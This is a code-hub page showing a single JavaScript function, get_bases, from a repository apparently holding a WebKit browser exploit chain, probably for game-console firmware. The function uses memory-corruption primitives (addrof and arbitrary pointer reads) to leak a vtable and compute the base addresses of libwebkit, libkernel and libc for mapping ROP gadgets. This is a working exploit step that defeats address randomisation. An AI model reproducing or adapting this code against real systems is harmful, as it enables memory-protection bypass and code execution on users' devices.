MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / get_bases

Function get_bases

g2all/900/rop/950.js:160–186  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

158export const gadgets = new Map();
159
160function get_bases() {
161 const textarea = document.createElement('textarea');
162 const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
163 const textarea_vtable = webcore_textarea.readp(0);
164 const libwebkit_base = find_base(textarea_vtable, true, true);
165
166 const stack_chk_fail_import =
167 libwebkit_base
168 .add(offset_wk_stack_chk_fail)
169 ;
170 const stack_chk_fail_addr = resolve_import(
171 stack_chk_fail_import,
172 true,
173 true
174 );
175 const libkernel_base = find_base(stack_chk_fail_addr, true, true);
176
177 const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
178 const memcpy_addr = resolve_import(memcpy_import, true, true);
179 const libc_base = find_base(memcpy_addr, true, true);
180
181 return [
182 libwebkit_base,
183 libkernel_base,
184 libc_base,
185 ];
186}
187
188export function init_gadget_map(gadget_map, offset_map, base_addr) {
189 for (const [insn, offset] of offset_map) {

Callers 1

initFunction · 0.70

Calls 5

find_baseFunction · 0.90
resolve_importFunction · 0.90
readpMethod · 0.45
addrofMethod · 0.45
addMethod · 0.45

Tested by

no test coverage detected